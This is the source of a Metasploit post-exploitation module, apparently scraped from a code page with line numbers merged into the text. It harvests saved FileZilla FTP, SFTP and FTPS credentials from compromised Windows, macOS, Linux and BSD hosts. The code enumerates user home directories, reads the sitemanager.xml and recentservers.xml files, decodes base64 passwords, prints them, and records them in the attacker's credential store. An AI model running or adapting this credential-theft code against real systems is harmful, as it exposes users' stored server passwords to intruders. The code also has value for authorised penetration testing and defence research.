Path: blob/master/modules/post/multi/gather/filezilla_client_cred.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rexml/document'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Post::Windows::UserProfiles1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Multi Gather FileZilla FTP Client Credential Collection',16'Description' => %q{ This module will collect credentials from the FileZilla FTP client if it is installed. },17'License' => MSF_LICENSE,18'Author' => [19'bannedit', # post port, added support for shell sessions20'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script21],22'Platform' => %w[bsd linux osx unix win],23'SessionTypes' => ['shell', 'meterpreter' ],24'Compat' => {25'Meterpreter' => {26'Commands' => %w[27core_channel_eof28core_channel_open29core_channel_read30core_channel_write31stdapi_fs_stat32stdapi_sys_config_getenv33stdapi_sys_config_getuid34]35}36},37'Notes' => {38'Stability' => [CRASH_SAFE],39'SideEffects' => [],40'Reliability' => []41}42)43)44end4546def run47paths = []48case session.platform49when 'unix', 'linux', 'bsd'50@platform = :unix51paths = enum_users_unix52when 'osx'53@platform = :osx54paths = enum_users_unix55when 'windows'56@platform = :windows57profiles = grab_user_profiles58profiles.each do |user|59next if user['AppData'].nil?6061fzdir = check_filezilla(user['AppData'])62paths << fzdir if fzdir63end6465else66print_error "Unsupported platform #{session.platform}"67return68end69if paths.nil? || paths.empty?70print_status('No users found with a FileZilla directory')71return72end7374get_filezilla_creds(paths)75end7677def enum_users_unix78if @platform == :osx79home = '/Users/'80else81home = '/home/'82end8384if got_root?85userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")86userdirs << "/root\n"87else88userdirs = session.shell_command("ls #{home}#{whoami}/.filezilla")89if userdirs =~ /No such file/i90return91else92print_status("Found FileZilla Client profile for: #{whoami}")93return ["#{home}#{whoami}/.filezilla"]94end95end9697paths = Array.new98userdirs.each_line do |dir|99dir.chomp!100next if dir == '.' || dir == '..'101102dir = "#{home}#{dir}" if dir !~ /root/103print_status("Checking for FileZilla Client profile in: #{dir}")104105stat = session.shell_command("ls #{dir}/.filezilla/sitemanager.xml")106next if stat =~ /No such file/i107108paths << "#{dir}/.filezilla"109end110return paths111end112113def check_filezilla(filezilladir)114print_status("Checking for Filezilla directory in: #{filezilladir}")115session.fs.dir.foreach(filezilladir) do |dir|116if dir =~ /FileZilla/117print_status("Found #{filezilladir}\\#{dir}")118return "#{filezilladir}\\#{dir}"119end120end121return nil122end123124def report_cred(opts)125service_data = {126address: opts[:ip],127port: opts[:port],128service_name: opts[:service_name],129protocol: 'tcp',130workspace_id: myworkspace_id131}132133credential_data = {134module_fullname: fullname,135post_reference_name: refname,136session_id: session_db_id,137origin_type: :session,138private_data: opts[:password],139private_type: :password,140username: opts[:username]141}.merge(service_data)142143login_data = {144core: create_credential(credential_data),145status: Metasploit::Model::Login::Status::UNTRIED146}.merge(service_data)147148create_credential_login(login_data)149end150151def get_filezilla_creds(paths)152sitedata = ''153recentdata = ''154creds = []155156paths.each do |path|157print_status("Reading sitemanager.xml and recentservers.xml files from #{path}")158159# @todo use File.read_file160if session.type == 'shell'161sites = session.shell_command("cat #{path}/sitemanager.xml")162recents = session.shell_command("cat #{path}/recentservers.xml")163print_status("recents: #{recents}")164creds = [parse_accounts(sites)]165creds << parse_accounts(recents) unless recents =~ /No such file/i166else167sitexml = "#{path}\\sitemanager.xml"168present = begin169session.fs.file.stat(sitexml)170rescue StandardError171nil172end173if present174sites = session.fs.file.new(sitexml, 'rb')175sitedata << sites.read until sites.eof?176sites.close177print_status('Parsing sitemanager.xml')178creds = [parse_accounts(sitedata)]179else180print_status('No saved connections where found')181end182183recent_file = "#{path}\\recentservers.xml"184recent_present = begin185session.fs.file.stat(recent_file)186rescue StandardError187nil188end189if recent_present190recents = session.fs.file.new(recent_file, 'rb')191recentdata << recents.read until recents.eof?192recents.close193print_status('Parsing recentservers.xml')194creds << parse_accounts(recentdata)195else196print_status('No recent connections where found.')197end198end199200creds.each do |cred|201cred.each do |loot|202report_cred(203ip: loot['host'],204port: loot['port'],205service_name: 'ftp',206username: loot['user'],207password: loot['password']208)209end210end211end212end213214def parse_accounts(data)215creds = []216217doc = begin218REXML::Document.new(data).root219rescue StandardError220nil221end222return [] if doc.nil?223224doc.elements.to_a('//Server').each do |sub|225account = {}226account['host'] = begin227sub.elements['Host'].text228rescue StandardError229'<unknown>'230end231account['port'] = begin232sub.elements['Port'].text233rescue StandardError234'<unknown>'235end236237case sub.elements['Logontype'].text238when '0'239account['logontype'] = 'Anonymous'240when /1|4/241account['user'] = begin242sub.elements['User'].text243rescue StandardError244'<unknown>'245end246if sub.elements['Pass'].attributes['encoding'] == 'base64'247account['password'] = begin248Rex::Text.decode_base64(sub.elements['Pass'].text)249rescue StandardError250'<unknown>'251end252else253account['password'] = begin254sub.elements['Pass'].text255rescue StandardError256'<unknown>'257end258end259when /2|3/260account['user'] = begin261sub.elements['User'].text262rescue StandardError263'<unknown>'264end265account['password'] = '<blank>'266end267268if account['user'].nil?269account['user'] = '<blank>'270end271if account['password'].nil?272account['password'] = '<blank>'273end274275case sub.elements['Protocol'].text276when '0'277account['protocol'] = 'FTP'278when '1'279account['protocol'] = 'SSH'280when '3'281account['protocol'] = 'FTPS'282when '4'283account['protocol'] = 'FTPES'284end285creds << account286287print_status(' Collected the following credentials:')288print_status(" Server: #{account['host']}:#{account['port']}")289print_status(" Protocol: #{account['protocol']}")290print_status(" Username: #{account['user']}")291print_status(" Password: #{account['password']}")292print_line293end294295return creds296end297298def got_root?299case @platform300when :windows301if session.sys.config.getuid =~ /SYSTEM/302return true303else304return false305end306else # unix, bsd, linux, osx307ret = whoami308if ret =~ /root/309return true310else311return false312end313end314end315316def whoami317if @platform == :windows318session.sys.config.getenv('USERNAME')319else320session.shell_command('whoami').chomp321end322end323end324325326